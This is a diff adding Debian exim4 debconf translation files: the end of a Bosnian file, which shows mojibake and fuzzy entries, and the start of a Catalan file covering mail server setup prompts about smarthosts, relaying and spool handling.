+"IPv6 addresses need to be doubled."
+msgstr ""
+"Molim unesite IP adresu ili host name mail servera kojeg će ovaj sistem "
+"koristiti kao odlaznog smarthosta. Ako smarthost samo prihvata vašu poštu na "
+"portu razliÄitom od TCP/25, dodajte dvije dvotaÄke i broj porta (na primjer, "
+"smarthos.example::587 ili 192.168.254.254:2525). DvotaÄke u IPv6 adresama "
+"trebaju biti uduplane."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+#, fuzzy
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Ako smarthost zahtijeva autentikaciju, molim pogledajte /usr/share/doc/exim4-"
+"base/README.Debian.gz datoteku za napomene o podešavanju SMTP autentikacije."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Primalac pošte za root i postmaster korisnike:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+#, fuzzy
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"Pošta za \"postmaster\", \"root\" i druge sistemske naloge treba biti "
+"preusmjeravana na korisniÄki nalog stvarnog sistemskog administratora."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Ako je ovo polje prazno, takva pošta će biti spremana u /var/mail/mail, što "
+"se ne preporuÄuje."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+#, fuzzy
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Primijetite da se postmasterova poÅ¡ta treba Äitati na onom sistemu na koji "
+"je upućena, a ne da se prosljeđuje drugdje, tako da (barem jedan) od "
+"korisnika navedenih ovdje ne bi trebali preusmjeravati svoju poštu s ove "
+"mašine. Koristite \"real-\" prefix kako bi forsirali lokalnu isporuku."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+#, fuzzy
+msgid "Multiple user names need to be separated by spaces."
+msgstr "ViÅ¡e korisniÄkih imena treba odvojiti razmacima."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "IP adrese koje će se osluškivati za dolazne SMTP konekcije:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Molim unesite spisak razdvojen taÄka-zarezom IP adresa. Exim-ov SMTP "
+"osluÅ¡kivaÄ daemon će osluÅ¡kivati sve IP adrese navedene ovdje."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Ako ostavite ovo polje prazno, Exim će osluškivati za konekcije na svim "
+"dostupnim mrežnim interfejsima."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+#, fuzzy
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Ako ovaj sistem samo direktno prima poštu preko lokalnih servisa poput "
+"fetchmail-a ili vašeg programa za poštu (MUA) na localhostu (i ne preko "
+"drugih raÄunara), savjetuje se zabranai vanjskih konekcije na lokalni Exim "
+"(mail server). Ovo se može postići unoštenjem 127.0.0.1 ovdje. Ovo će "
+"iskljuÄiti osluÅ¡kivanje na javnim mrežnim interfejsima."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Držati broj DNS upita minimalnim (Dial-on-Demand)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"U normalnom modu rada Exim pravi DNS pretrage prilikom pokretanja i "
+"prilikom slanja ili primanja pisama. One se rade u svrhu bilježenja i da bi "
+"zadržao manjim broj stalnih postavki u konfiguracionoj datoteci."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Ako ovaj sistem nema cijelo vrijeme dostupan DNS full service resolver (na "
+"primjer, koristi dial-up internet pristup pomoću dial-on-demand), ovo može "
+"imati neželjene posljedice. Na primjer, prilikom pokretanja Exim-a ili "
+"pokretanja rednog slanja poruka (Äak i bez poruka na Äekanju) može doći do "
+"skupog dial-up raÄuna."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Ova opcija se treba odabrati ako ovaj sistem koristi Dial-on-Demand. Ako je "
+"uvijek na internetu, ova opcija treba biti iskljuÄena."
+
+# Type: select
+# Description
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Podešavanje mail servera"
+
+# Type: boolean
+# Description
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Podijeliti konfiguraciju na manje datoteke?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+#, fuzzy
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Debian exim4 paketi mogu koristiti \"nepodijeljenu konfiguraciju\", jednu "
+"monolitnu datoteku (/etc/exim4/exim4.conf.template) ili \"podijeljenu "
+"konfiguraciju\", gdje su Exim konfiguracione datoteke sastavljene od 50 "
+"manjih datoteka u /etc/exim4/conf.d/ direktoriju."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Nepodijeljena konfiguracija je bolja za veće izmjene i uopše stabilnija, dok "
+"podijeljena konfiguracija pruža lahak naÄin za pravljenje manjih izmjena ali "
+"je osjetljivija i može se pokvariti ako se nepažljivo izmjenjuje."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+#, fuzzy
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Detaljnija diskusija vezana za podijeljenu i nepodijeljenu konfiguraciju se "
+"može pronaći u /usr/share/doc/exim4-base/README.Debian.gz."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Prikriti lokalni naziv poštanskog sistema u odlaznoj pošti?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+#, fuzzy
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Zaglavlja odlaznih pisama se mogu ponovo napisana kako bi izgledala kao da "
+"su napravljena na drugom sistemu. Ako se izabere ova opcija \"${mailname}\", "
+"\"localhost\" i \"${dc_other_hostnames}\" u Od, Odgovori na, Pošiljalac i "
+"Povratni put bivaju ponovo napisani."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "mbox format u /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Maildir format u home direktoriju"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Metod isporuke za lokalnu poštu:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim može spremati lokalno isporuÄenu poÅ¡tu u razliÄitim formatima. NajÄešće "
+"korišteni su mbox i Maildir. mbox koristi jednu datoteku za kompletan mail "
+"direktorij koji je smješten u /var/mail. S Maildir formatom svaka "
+"pojedinaÄna poruka se smjeÅ¡ta u zasebnu datoteku u ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Molim primijetite da većina mail halata u Debianu podrazumijevano oÄekuje da "
+"metod lokalne isporuke bude mbox formata."
+
+#, fuzzy
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr "Premjestiti eisporuÄenu poÅ¡tu iz exim(v3) u exim4 spool direktorij?"
+
+#, fuzzy
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "Postoje neisporuÄena pisma u exim(v3) (ili exim-tls(v3)) spool "
+#~ "direktoriju /var/spool/exim/input/."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Odabiranje ove opcije će premjestiti ove poruke u exim4 spool (/var/spool/"
+#~ "exim4/input/) odakle će njima upravljati exim4."
+
+#, fuzzy
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Ovo radi samo u jedno smjeru: Exim4 može upravljati exim(v3) spool-om ali "
+#~ "ne i obrnuto. Trebate premjestiti pisma samo ako se ne planirate vratiti "
+#~ "na exim(v3). U suprotnom, poruke se trebaju ruÄno premjestiti nekad "
+#~ "kasnije."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr "Ako ostavite ovo prazno, Exim neće raditi lokalnu isporuku."
+
+#~ msgid ""
+#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool "
+#~ "but not the other way round."
+#~ msgstr ""
+#~ "Obratite pažnju da ovo radi samo jednosmjerno, exim4 može upravljati sa "
+#~ "exim(v3) spool direktorijem ali ne i obrnuto."
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "Premjestite poštu samo ako se ne planirate vratiti na exim(v3), u "
+#~ "suprotnom poÅ¡ta ne bi trebala biti premjeÅ¡tana sada nego ruÄno nakon Å¡to "
+#~ "pretvorite vaše postavke."
+
+# Type: string
+# Description
+#, fuzzy
+#~ msgid ""
+#~ "If there are any more, enter them here, separated by semicolons. You may "
+#~ "leave this blank if there are none."
+#~ msgstr ""
+#~ "Ako ih ima joÅ¡, unesite ih ovdje razdvojene dvotaÄkama. Ostavite prazno "
+#~ "ako nema."
+
+#, fuzzy
+#~ msgid ""
+#~ "Please enter here the domains for which this system will relay mail, for "
+#~ "example as a fallback MX or mail gateway."
+#~ msgstr "Molim ovdje unesite domene za koje prihvatate isporuÄivati poÅ¡tu."
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "To su domene za koje ste spremni prihvatati poštu od bilo kuda sa "
+#~ "Interneta. Nemojte stavljati lokalne domene ovdje."
+
+#, fuzzy
+#~ msgid ""
+#~ "The domains entered here should be separated by semicolons. Wildcards may "
+#~ "be used."
+#~ msgstr ""
+#~ "Domene koje ovdje unesete trebate razdvojiti dvotaÄkama. Možete koristiti "
+#~ "pomoćne znakove."
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "PoÅ¡to ste ukljuÄili prikrivanje naziva lokalnog poÅ¡tanskog sistema u "
+#~ "odlaznoj pošti, morate navesti domain name koji će se koristiti za poštu "
+#~ "lokalnih korisnika; obiÄno je to maÅ¡ina na kojoj normalno primate vaÅ¡u "
+#~ "poštu."
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "Gdje će vaÅ¡i korisnici Äitati svoju poÅ¡tu?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr "Mašina koja upravlja odlaznom poštom"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr "Unesite hostname mašine na koju se šalje odlazna pošta."
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "UkljuÄite ovu osobinu ako koristite Dial-on-Demand; u suprotnom, "
+#~ "iskljuÄite je."
+
+#, fuzzy
+#~ msgid "Select the mail server configuration type that best fits your needs."
+#~ msgstr "Odaberite tip konfiguracije koja najbolje odgovara vašim potrebama."
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr "Ako niste sigurni, onda ne biste trebali podijeliti konfiguraciju."
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr "ruÄno pretvoriti iz ruÄno podeÅ¡ene Exim v3 konfiguracije"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "RuÄno podesiti Exim4?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "Vi ste naveli da imate ruÄno podeÅ¡enu Exim 3 konfiguraciju. Kako biste ju "
+#~ "pretvorili na Exim 4, možete koristiti exim_convert4r4(8) alatku nakon "
+#~ "instalacije. Pogledajte/usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "i /usr/share/doc/exim4-base/README.Debian.gz datoteke!"
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr ""
+#~ "Dok se vaš poštanski sistem ne podesi, biti će neispravan i neće se moći "
+#~ "koristiti."
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "Vaš \"mail name\" je hostname dio adrese koji će biti prikazan na "
+#~ "odlaznim news i mail porukama (iza korisniÄkog imena i znaka @) ukoliko "
+#~ "nije skriveno prepisivanjem."
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr ""
+#~ "Molim unesite ovdje mreže lokalnih maÅ¡ina za koje prihvatate isporuÄivati "
+#~ "poštu."
diff --git a/debian/po/ca.po b/debian/po/ca.po
new file mode 100644
index 0000000..f3cc195
--- /dev/null
+++ b/debian/po/ca.po
@@ -0,0 +1,826 @@
+# exim4 (debconf) translation to Catalan.
+# Copyright © 2004, 2005, 2006, 2008 Free Software Foundation, Inc.
+# Aleix Badia i Bosch <a.badia@callusdigital.org>, 2004, 2005.
+# Jordi Mallach <jordi@debian.org>, 2004, 2006, 2008.
+# Jordà Polo <jorda@ettin.org>, 2008.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4 debconf\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2008-09-10 19:59+0200\n"
+"Last-Translator: Jordi Mallach <jordi@debian.org>\n"
+"Language-Team: Catalan <debian-l10n-catalan@lists.debian.org>\n"
+"Language: ca\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr ""
+"Voleu suprimir els missatges no enviats del directori de gestió de cues?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Hi ha missatges de correu al directori de gestió de cues de l'Exim /var/"
+"spool/exim4/input/ que encara no s'han enviat. Si elimineu l'Exim, romandran "
+"sense enviar fins que es reinstal·le l'Exim."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Si no es tria aquesta opció, es mantindrà el directori de gestió de cues, "
+"permetent que els missatges a la cua s'envien en el futur després de "
+"reinstal·lar l'Exim."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Reconfigureu el paquet exim4-config en comptes d'aquest paquet"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 té la seua configuració en un paquet dedicat, exim4-config. Si voleu "
+"reconfigurar l'Exim4, utilitzeu «dpkg-reconfigure exim4-config»."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "lloc d'internet; s'envia i es rep directament utilitzant SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "s'envia a través del smarthost i es rep via SMTP o fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "s'envia a través de l'smarthost i no hi ha correu local"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "només enviament local; no està en una xarxa"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "no el configuris ara mateix"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Configuració del correu de tipus general:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Seleccioneu el tipus de configuració que s'ajuste a les vostres necessitats."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Els sistemes amb adreces IP dinàmiques, inclosos els sistemes de marcatge "
+"directe, probablement s'haurien de configurar per enviar el correu de "
+"sortida a un altre ordinador anomenat «smarthost», per al seu lliurament "
+"perquè molts sistemes que reben correu a Internet bloquen el correu entrant "
+"des d'adreces IP dinàmiques, com a protecció contra el spam."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Un sistema amb una adreça IP dinàmica pot rebre el seu correu, o es pot "
+"inhabilitar el lliurament local completament (excepte el correu per al root "
+"i el postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Esteu segur de deixar desconfigurat el sistema de correu?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Fins que el sistema de correu no estigui configurat no funcionarà "
+"correctament i no es podrà utilitzar. Es pot configurar posteriorment, "
+"manualment o executant l'ordre «dpkg-reconfigure exim4-config» com a "
+"superusuari."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Nom del correu del sistema:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"El «nom de correu» és el nom del domini que s'utilitza per a «qualificar» "
+"les adreces de correu sense un nom de domini."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Aquest nom també serà utilitzat per altres programes. Hauria de ser el nom "
+"únic, complet del domini (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Per tant, si una adreça de correu a l'ordinador local és foo@exemple.org,"
+"aleshores el valor correcte per a aquesta opció seria exemple.org."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Aquest nom no apareixerà a les línies From: del correu de sortida si "
+"s'habilita la reescriptura."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "D'altres destinacions per a les quals s'accepta correu:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Introduïu una llista, separada per punts i coma, de dominis de destinataris "
+"que s'haurien de considerar destí final. Aquests dominis s'anomenen «dominis "
+"locals». El nom local (${fqdn}) i «localhost» sempre s'afegeixen a la llista "
+"subministrada aquí."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Per defecte tots els dominis es tracten igual. Si tant a.exemple i b.exemple "
+"són dominis locals, compte@a.exemple i compte@b.exemple es lliuraran a la "
+"mateixa destinació final. Si voleu tractar diferents dominis de manera "
+"diferent, posteriorment haureu d'editar els fitxers de configuració."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Dominis del qual és repetidor:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Introduïu una llista, separada per punts i coma, dels dominis de destinació "
+"pels quals aquest sistema farà de repetidor, com ara un MX de reposició o "
+"una passarel·la de correu. Això vol dir que aquest sistema acceptarà correu "
+"per a aquest correu des de qualsevol lloc d'Internet i el lliurarà d'acord "
+"amb les regles de lliurament local."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "No mencioneu els dominis locals ací. Es poden utilitzar comodins."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Ordinadors dels quals sou repetidor:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Introduïu una llista separada per punts i coma dels intervals d'adreces IP "
+"per a les quals aquest sistema farà de repetidor de correu "
+"incondicionalment, funcionant com a «smarthost»."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Hauríeu d'utilitzar el format adreça/longitud estàndard (ex. "
+"194.222.242.0/24 o 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Si aquest sistema no hauria de ser un «smarthost» per a cap altre servidor, "
+"deixeu aquesta llista en blanc."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Nom del domini visible pels usuaris locals:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"S'ha habilitat l'opció per a amagar el nom del correu local al correu de "
+"sortida. Per això, és necessari especificar el nom del domini que aquest "
+"sistema ha d'utilitzar com a part de domini de les adreces dels usuaris "
+"locals."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "Adreça IP o nom del servidor del «smarthost» de sortida:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Introduïu les adreces IP o el nom del servidor d'un servidor de correu que "
+"aquest sistema ha d'utilitzar com a «smarthost» de sortida. Si el "
+"«smarthost» només accepta el vostre correu en un port diferent al TCP/25, "
+"afegiu «:» dues vegades i el número del port (per exemple smarthost."
+"exemple::587 o 192.168.254.254::2525). Els dos punts a les adreces IPv6 "
+"s'han de duplicar."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Si el «smarthost» requereix autenticació, vegeu la informació sobre la "
+"configuració de l'autenticació de l'SMTP, als fitxers README específics de "
+"Debian a /usr/share/doc/exim4-base."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Destinatari de correu de root i de postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"El correu per al «postmaster», «root» i altres comptes del sistema ha de "
+"redirigir-se al compte d'usuari de l'administrador del sistema."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
